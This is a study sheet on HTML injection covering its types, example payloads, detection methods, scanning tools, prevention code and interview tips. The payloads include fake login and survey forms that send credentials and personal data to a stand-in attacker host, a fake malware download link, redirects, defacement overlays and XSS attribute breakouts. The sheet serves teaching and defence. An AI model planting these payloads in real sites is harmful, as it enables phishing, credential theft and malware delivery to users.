HTML Injection - Security Study Sheet

📋 Definition

HTML Injection is a vulnerability that occurs when user input is not properly validated, sanitized, or encoded before being included in web pages, allowing attackers to inject arbitrary HTML code. While similar to XSS, HTML injection focuses on injecting HTML markup rather than executable scripts, though it can often escalate to XSS.

🎯 Types and Categories

1. Reflected HTML Injection

- **Description**: Injected HTML is immediately reflected in the response
- **Characteristics**:
  - Appears in search results, error messages
  - Requires user interaction with malicious link
  - Non-persistent, session-based

2. Stored HTML Injection

- **Description**: Injected HTML is permanently stored on the server
- **Characteristics**:
  - Affects all users viewing the content
  - Found in user profiles, comments, forums
  - Persistent across sessions

3. DOM-based HTML Injection

- **Description**: Client-side HTML manipulation vulnerability
- **Characteristics**:
  - Occurs in browser's DOM
  - JavaScript-based manipulation
  - No server-side involvement required

4. Blind HTML Injection

- **Description**: Injected HTML not immediately visible to attacker
- **Characteristics**:
  - Admin panels, email templates
  - Delayed or indirect feedback
  - Often found in backend systems

5. Context-based HTML Injection

- **Description**: Injection within specific HTML contexts
- **Types**:
  - Attribute injection

    - Tag injection
    - Comment injection
    - Style injection

6. Template HTML Injection

- **Description**: Injection in server-side templates
- **Characteristics**:
    - Template engine vulnerabilities
    - Server-side rendering issues
    - Framework-specific implementations

🎯 Realistic Example Payloads

Basic HTML Injection

```
<!-- Simple HTML tags -->
<h1>Injected Heading</h1>
<p>This content was injected by an attacker</p>
<marquee>Scrolling malicious text</marquee>

<!-- Formatting injection -->
<b>Bold text injection</b>
<i>Italic text injection</i>
<u>Underlined text injection</u>
<font color="red" size="7">Large red text</font>
```

Image and Media Injection

```
<!-- Image injection -->
<img src="https://attacker.com/malicious-image.jpg" alt="Injected Image">
<img src="javascript:alert('XSS')" alt="XSS via image">

<!-- Video injection -->
<video controls width="400">
    <source src="https://attacker.com/malicious-video.mp4" type="video/mp4">
</video>

<!-- Audio injection -->
<audio controls>
    <source src="https://attacker.com/malicious-audio.mp3" type="audio/mpeg">
</audio>

<!-- Iframe injection -->
<iframe src="https://attacker.com/malicious-page.html" width="400" height="300">
</iframe>
<iframe src="data:text/html,<h1>Injected Content</h1>" width="300" height="200">
</iframe>
```

Form Injection Attacks

```
<!-- Fake login form -->
<form action="https://attacker.com/steal-creds" method="POST">
    <h3>Session Expired - Please Re-login</h3>
    <input type="text" name="username" placeholder="Username" required>
    <input type="password" name="password" placeholder="Password" required>
    <input type="submit" value="Login">
</form>

<!-- Fake survey form -->
<form action="https://attacker.com/collect-data" method="POST">
    <h3>Quick Survey - Win $100!</h3>
    <input type="text" name="full_name" placeholder="Full Name">
    <input type="email" name="email" placeholder="Email Address">
    <input type="text" name="phone" placeholder="Phone Number">
    <input type="submit" value="Submit">
</form>
```

Phishing and Social Engineering

```
<!-- Fake error message -->
<div style="border: 2px solid red; padding: 20px; background: #ffe6e6;">
    <h2 style="color: red;">Security Alert!</h2>
    <p>Your account has been compromised. Click <a
href="https://attacker.com/fake-security">here</a> to secure your account
immediately.</p>
</div>

<!-- Fake download button -->
<div style="text-align: center; margin: 20px;">
    <h3>Download Required Update</h3>
    <a href="https://attacker.com/malware.exe" style="background: #4CAF50; color:
white; padding: 15px 32px; text-decoration: none; display: inline-block;">
        Download Now
    </a>
</div>

<!-- Fake notification -->
<div style="position: fixed; top: 0; right: 0; background: #333; color: white;
padding: 10px; z-index: 9999;">
    <h4>System Notification</h4>
    <p>Click <a href="https://attacker.com/fake-update" style="color:
#4CAF50;">here</a> to install critical security update</p>
</div>
```

Style and Layout Manipulation

```
<!-- Page defacement -->
<style>
    body { background: black !important; color: red !important; }
    .header { display: none !important; }
    .content { text-align: center !important; }
</style>
<h1 style="font-size: 48px; color: red;">WEBSITE HACKED!</h1>
<p style="font-size: 24px;">This site has been compromised</p>

<!-- Overlay injection -->
<div style="position: fixed; top: 0; left: 0; width: 100%; height: 100%;
background: rgba(0,0,0,0.8); z-index: 10000; color: white; text-align: center;
padding-top: 200px;">
    <h2>Site Maintenance</h2>
    <p>Please wait while we update our systems...</p>
    <a href="https://attacker.com/fake-maintenance" style="color:
#4CAF50;">Continue Here</a>
</div>
```

Attribute Injection

```
<!-- In form attributes -->
<input type="text" name="search" value="" onmouseover="alert('XSS')" class="">

<!-- In link attributes -->
<a href="#" title="" onmouseover="alert('XSS')" target="">Malicious Link</a>

<!-- In image attributes -->
<img src="image.jpg" alt="" onload="alert('XSS')" width="100">

<!-- Breaking out of attributes -->
<input type="text" value="test"> <script>alert('XSS')</script> <input
type="hidden" value="">
```

Comment Injection

```
<!-- Breaking out of HTML comments -->
<!-- User comment: --> <script>alert('XSS')</script> <!-- -->

<!-- Conditional comment injection -->
<!--[if IE]><script>alert('XSS')</script><![endif]-->

<!-- Comment with embedded content -->
<!-- <img src=x onerror=alert('XSS')> -->
```

Meta Tag Injection

```html
<!-- Meta refresh redirect -->
<meta http-equiv="refresh" content="0;URL=https://attacker.com">

<!-- Meta viewport manipulation -->
<meta name="viewport" content="width=1px">

<!-- Custom meta tags -->
<meta name="malicious" content="injected-content">
```

Advanced HTML5 Injection

```html
<!-- HTML5 new elements -->
<details open>
    <summary>Click for details</summary>
    <p>Malicious content hidden here</p>
</details>

<dialog open>
    <h3>Important Message</h3>
    <p>Your session will expire in 30 seconds</p>
    <form action="https://attacker.com/extend-session">
        <button type="submit">Extend Session</button>
    </form>
</dialog>

<!-- Canvas injection -->
<canvas id="malicious-canvas" width="400" height="200"></canvas>
<script>
var canvas = document.getElementById('malicious-canvas');
var ctx = canvas.getContext('2d');
ctx.fillText('Malicious content', 10, 50);
</script>
```

Data URI Injection

```html
<!-- Data URI with HTML -->
<iframe src="data:text/html,<h1>Injected via Data URI</h1><script>alert('XSS')
</script>"></iframe>

<!-- Data URI with base64 -->
<iframe src="data:text/html;base64,PGgxPkluamVjdGVkIENvbnRlbnQ8L2gxPg=="></iframe>

<!-- Image with data URI -->
<img src="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><text
y='20'>Injected</text></svg>">
```

🔍 Manual Detection Methods

1. Input Field Testing

- **Method**: Test all input fields with HTML payloads
- **Steps**:
    1. Identify all input points
    2. Insert basic HTML tags like `<h1>test</h1>`
    3. Check if HTML renders in output
    4. Test different contexts (forms, URLs, headers)

2. Parameter Manipulation

- **Method**: Modify URL parameters with HTML content
- **Example**: `https://example.com/search?q=<h1>test</h1>`

3. Context Analysis

- **Method**: Understand where input is reflected
- **Contexts to test**:
    - Between HTML tags
    - Inside attributes
    - Within JavaScript strings
    - In style attributes

4. Encoding Testing

- **Method**: Test various encoding techniques
- **Encodings**:
    - URL encoding: `%3Ch1%3E`
    - HTML entities: `&lt;h1&gt;`
    - Unicode: `\u003Ch1\u003E`
    - Double encoding: `%253Ch1%253E`

5. Source Code Review

- **Look for**:
    - Direct echoing of user input
    - Template engines without escaping
    - innerHTML assignments
    - Document.write() usage

6. Response Analysis

- **Method**: Analyze server responses for injected content
- **Check**:
    - Response body for HTML tags
    - Content-Type headers
    - Character encoding

🛠 Recommended Open-Source Tools

1. **HtmlInjection Scanner**

- **GitHub**: https://github.com/s0md3v/htmlinjection
- **Description**: Automated HTML injection vulnerability scanner
- **Usage**: `python3 scanner.py -u http://example.com`

2. **Burp Suite Community**

- **Website**: https://portswigger.net/burp/communitydownload
- **Description**: Web application security testing platform
- **Features**: Manual testing with custom payloads

3. **OWASP ZAP**

- **GitHub**: https://github.com/zaproxy/zaproxy
- **Description**: Comprehensive security testing proxy
- **Features**: Active and passive scanning

4. **w3af**

- **GitHub**: https://github.com/andresriancho/w3af
- **Description**: Web application attack and audit framework
- **Usage**: Includes HTML injection detection plugins

5. **Wapiti**

- **GitHub**: https://github.com/wapiti-scanner/wapiti
- **Description**: Web application vulnerability scanner
- **Usage**: `wapiti -u http://example.com`

6. **Nuclei**

- **GitHub**: https://github.com/projectdiscovery/nuclei
- **Description**: Fast vulnerability scanner
- **Usage**: `nuclei -u http://example.com -t nuclei-templates/`

7. **XSStrike**

- **GitHub**: https://github.com/s0md3v/XSStrike
- **Description**: Advanced XSS detection suite (also detects HTML injection)
- **Usage**: `python3 xsstrike.py -u "http://example.com/search?q=test"`

8. **Dalfox**

- **GitHub**: https://github.com/hahwul/dalfox
- **Description**: Fast XSS scanner that also detects HTML injection
- **Usage**: `dalfox url http://example.com`

9. **SQLMap**

- **GitHub**: https://github.com/sqlmapproject/sqlmap

- **Description**: SQL injection tool with tamper scripts for HTML injection
- **Usage**: Custom tamper scripts for HTML injection testing

10. **ffuf**

- **GitHub**: https://github.com/ffuf/ffuf
- **Description**: Fast web fuzzer
- **Usage**: `ffuf -u http://example.com/FUZZ -w html-payloads.txt`

Prevention Techniques

1. Input Validation

```
# Python example
import re

def validate_input(user_input):
    # Allow only alphanumeric and basic punctuation
    pattern = r'^[a-zA-Z0-9\s\.\,\!\?]+$'
    return re.match(pattern, user_input) is not None
```

2. Output Encoding

```
// JavaScript example
function escapeHtml(unsafe) {
    return unsafe
        .replace(/&/g, "&amp;")
        .replace(/</g, "&lt;")
        .replace(/>/g, "&gt;")
        .replace(/"/g, "&quot;")
        .replace(/'/g, "&#039;");
}
```

3. Content Security Policy

```
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'
'unsafe-inline';
```

4. Template Engine Security

```
<!-- PHP with Twig -->
{{ user_input|escape('html') }}
```

```
<!-- PHP with basic escaping -->
<?php echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8'); ?>
```

5. Whitelist Filtering

```
// Java example using OWASP Java HTML Sanitizer
import org.owasp.html.PolicyFactory;
import org.owasp.html.Sanitizers;

PolicyFactory policy = Sanitizers.FORMATTING.and(Sanitizers.LINKS);
String safeHTML = policy.sanitize(untrustedHTML);
```

🎓 Study Tips for Interviews & Certifications

Key Points to Remember:

1. **Difference from XSS**: HTML injection focuses on markup, not scripts
2. **Escalation path**: Often leads to XSS or other vulnerabilities
3. **Context matters**: Different injection points require different payloads
4. **Prevention**: Input validation, output encoding, CSP

Common Interview Questions:

- "How does HTML injection differ from XSS?"
- "What are the business impacts of HTML injection?"
- "How would you prevent HTML injection in a web application?"
- "Can HTML injection be exploited without JavaScript?"

Practical Demonstration:

Be prepared to show HTML injection attacks and explain context-specific payloads.

Real-world Scenarios:

- Comment systems
- User profile pages
- Search result pages
- Error message displays

This study sheet covers HTML Injection vulnerabilities comprehensively for security professionals, bug bounty hunters, and cybersecurity students.